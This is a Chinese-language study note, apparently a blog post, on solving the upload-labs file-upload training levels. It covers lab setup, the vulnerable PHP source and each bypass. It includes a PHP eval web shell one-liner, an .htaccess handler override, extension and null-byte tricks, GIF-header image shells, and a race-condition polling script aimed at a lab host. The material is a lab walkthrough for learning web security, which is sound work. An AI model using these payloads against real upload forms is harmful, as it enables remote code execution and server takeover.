文件上传学习笔记

文件上传常用函数

  • file_exists() 函数检查文件或目录是否存在

  • deldot() 删除文件名末尾的点

  • strtolower( ) 将字符串转化为小写

  • str_ireplace() 替换函数,替换字符串中的一些字符

    • 通常格式为str_ireplace(“$1”,”$2”,”$3”),意思是将$3中的$1替换为$2
  • unlink() 删除函数

  • trim()函数移除文字字符的字体或其他预定义的字符(可以理解为去除空格等等)

  • strrchr() 查找字符串在另一个字符串中最后出现的位置,并返回到该位置后的所有字符

    • 例子:strrchr($x,’.’) 意思是查找 . 在变量x中最后一次出现的位置,假如$x为zhaobin.shuaishuai 那么这个函数的结果为shuaishuai
  • strrpos() 函数查找字符串在另一中最后一次出现的位置(时间大小写)。

    • 和 strtchr()函数的区别就在于 它不返回到改位置
  • move_uploaded_file() 把上传的文件移动到新的位置

  • getimagesize() 获取图像大小及相关信息

  • in_array() 用于搜索数组中是否存在指定的值,在文件上传中常用于过滤一些后缀名

  • unpack() 函数从二进制字符串对数据进行解包。

  • exif_imagetype() 判断一个图像的类型,读取一个图像的第一个字节并检查其签名

文件上传常见类型

如下图,即常见类型,我们可以用upload-labs进行练习

搭建upload-labs靶场

docker search upload-labs

docker pull c0ny1/upload-labs

docker run -d -p 20001:80 c0ny1/upload-labs

docker exec -it (容器id) /bin/bash //交互模式进入容器
mkdir upload //创建upload文件夹
chmod a+w upload //赋予读写权限

upload-labs 1(前端js校验)

方法1:用burpsuite里的功能,禁用js,

方法2:通过burp抓包改后缀进行绕过

  1. 事先先在txt中写入一句话木马 <?php eval($_POST[shell]);?>,然后把类型改为jpg,即运行上传的类型

  2. 打开burp,选择好jpg文件后上传,可以看到jpg下其实是隐藏的一句话木马

  3. 我们将文件类型改为php,来执行一句话木马,达到提权的效果,如下图已经上传成功了

  4. 如图,url中就是我们上传图片的位置了,我们可以用蚁剑来连接

  5. 打开蚁剑,填入url和一句话中post的密码

  6. 如图,显示已经连接成功,说明提权成功了

upload-labs 2(类型绕过)

通过源码我们可以发现,这题较上题没有什么太大区别,重点是它判断了content-type的类型

所以我们可以在抓包时更改类型为image/jpeg

如下图,更改类型为image/jpeg即可

upload-labs 3(黑名单)

方法1:更换php文件名进行绕过

我们先看源代码,过滤了.asp,.aspx,.php,.jsp的后缀文件,但是我们知道能执行php代码的文件后缀不止一个,我们还可以用.phtml .phps .php5 .pht等后缀进行执行。

解题方法一样,通过抓包改后缀为**.phtml**,然后绕过

同样通过蚁剑连接成功,代表提权成功

upload-labs 4(黑名单)

方法1:改后缀

Apache解析漏洞:Apache会将不认识的后缀,如suibianxie.php.xxx.ccc、test.php.iii等从右向左解析,不认识就往左移一个,最终移到php时apache认识了就会将该文件当作php文件来解析。2.4.0-2.4.29中存在apache换行解析漏洞,在解析php时xxx.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。

先上传一个带有一句话木马的jpg文件,然后将后缀改为 php.xxx

可以看到上传成功,成功执行

方法2:.htaccess绕过

先看源码,几乎过滤了所有php代码执行的后缀名,但是还有一个没有过滤,那就是**.htaccess**

何为htaccess?

.htaccess(超文本访问)是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。

而在文件上传类型中,.htaccess可以将所有的文件当成php来解析

能执行htaccess的前提条件是:

1.mod_rewrite模块开启。2.AllowOverride All

本题思路:我们先上传一个.htaccess的文件,然后再上传一个带有一句话木马的jpg文件,这样.htaccess就会将后来上传的图片转化为php代码执行,达到目的

  • 我们在txt中写入 SetHandler application/x-httpd-php

    或者这么写入: (意思就是将”一句话.jpg“解析为php代码执行)

    <FilesMatch "一句话.jpg">
    SetHandler application/x-httpd-php
    </FilesMatch>

    并将类型改为.htaccess,并上传

  • 然后上传带有一句话木马的图片,如下图,显示上传成功,可以直接连蚁剑了

upload-labs 5(大小写绕过)

首先看源码

对比前面几关 我们可以看到这题放过了大小写的绕过

去掉了 $file_ext = strtolower($file_ext); //转换为小写,所以我们可以通过大小写绕过

和前面套路一样,先上传一个一句话,然后在burp中改后缀为.PHP

因为我的一句话中写的是 phpinfo() ,所以当上传成功时就会显示phpinfo

upload-labs 6(空格绕过,win特性)

方法1: 没有过滤php7,将后缀改为php7即可

先看源码

我们可以发现这题没有针对空格进行过滤 缺少了 $file_ext = trim($file_ext); *//首尾去空*

方法2:在.php后面加空格进行绕过

这里我的环境好像出了点问题,没复现成功

upload-labs 7(点绕过)

先看源码

我们发现这题 放过了点号,把语句$file_name = deldot($file_name);*//删除文件名末尾的点*去掉了

所以我们可以利用windows特性,会自动去掉后缀名中最后的”.”,可在后缀名中加”.”绕过:

于是上传成功

upload-labs 8(::$DATA绕过)

看源码可以知道没有对**::$DATA**进行过滤

$file_ext = str_ireplace('::$DATA', '', $file_ext);*//去除字符串::$DATA*

查找资料后可知在php+windows的环境下,会把::$DATA之后的数据当成文件流处理,不会检测后缀名,并且保留前面的文件名

所以我们在.php后加::$DATA即可

上传成功,显示phpinfo

upload-labs 9(点空格点绕过)

原理:代码先是去除文件名前后的空格,再去除文件名最后所有的.,再通过strrchar函数来寻找.来确认文件名的后缀,但是最后保存文件的时候没有重命名而使用的原始的文件名,导致可以利用1.php. .(点+空格+点)来绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

upload-labs 10(双写绕过)

源码中着重看着一点 $file_name = str_ireplace($deny_ext,"", $file_name);

理解一下便知 将黑名单里的后缀名替换为空且只替换一次,因此可以用双写绕过,大致意思就是当出现黑名单里的后缀时就将它转换为空,pphphp–>php

所以pphphp和phphpp写法并不一样。

pphphp解析后是 php

phphpp解析后是 hpp

upload-labs 11(00截断)

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}


00截断

理解: /?filename=111.txt 正常解析是txt,而/?filename=111.php%00.txt
最后上传后的解析的就是111.php

$img_path是直接拼接的,所以可以用00截断绕过

**截断条件:1.php版本小于5.3.4 **

2.php的magic_quotes_gpc为OFF状态

所以我们抓包后在save_path里改路径即可,如下图

但由于php版本问题,这两个漏洞都无法复现成功

upload-labs 12(00截断)

这里的00截断为post请求,所以我们抓包以后在十六进制里改就好啦!

但由于php版本问题,这两个漏洞都无法复现成功

upload-labs 13(图片马)

可以看到代码中只检测文件头的2字节内容,所以我们将文件的头两个字节修改为图片的格式就可以绕过

方法1:制作gif马

因为只检测前两个字节,所以我们只要在php代码前加入gif的文件头即可,也就是加入 GIF98a

GIF89a <?php phpinfo();?>

然后直接上传即可,但本题需要使用文件包含来执行代码

打开网站 在url中输入我们上传gif的路径即可

使用GET传参 ?file=upload/8620210719080601.gif

如下图,可以看到执行成功

方法2:制作jpg,png马

emmm方法也有两种,一种是 copy 22.jpg /b + 1.php /a shell.jpg

而我的方法是在jpg图片的末尾处插入php执行代码

这样后端会判断这是一张jpg图片,而当我们文件包含时,php代码就被执行了

如下图 phpinfo的页面已显示出来

upload-labs 14(图片马)

这题多了一个函数getimagesize()

但是整体好像没什么区别 用13题的做法还是能出来

pass15也是一样的做法hhhhh,我感觉就是加了个函数验证,做法都一样的

upload-labs 17(条件竞争)

这题理解了很久,以下是源码

结合网上和自己的审计,大概理解如下:

可以看到有一个unlink函数,是一个删除函数,意思是当我们进行文件上传时,会先将文件传至服务器,判断我们的文件合不合法,如果不合法则删除它,但是这中间可以有一个时间差,如果我们上传的比服务器删的快,那么我们就可以达到代码执行的目的

所以我们只要抓包后将php代码一直执行,一直发包,然后用脚本来判断是否成功,成功则用蚁剑连接

如下图,我们进行抓包,然后右键爆破

选择我们需要爆破的东西,这里当然是这句php语句了

这里我们选择,一直发包的设置

然后准备python脚本,脚本如下:

1
2
3
4
5
6
7
8
9
10
import requests
url = "http://9b5df420-7c50-4c2c-ad93-117aa129ac4c.node4.buuoj.cn/upload/11.php"
while True:
html = requests.get(url)
if html.status_code == 200:/检测回响值为200的,也就是上传成功的页面
print("OK")
break
else:
print("NO")

然后在burp里开始攻击,同时python也同时运行

如下图显示成功了:

然后我们用蚁剑进行连接

连接成功,拿到权限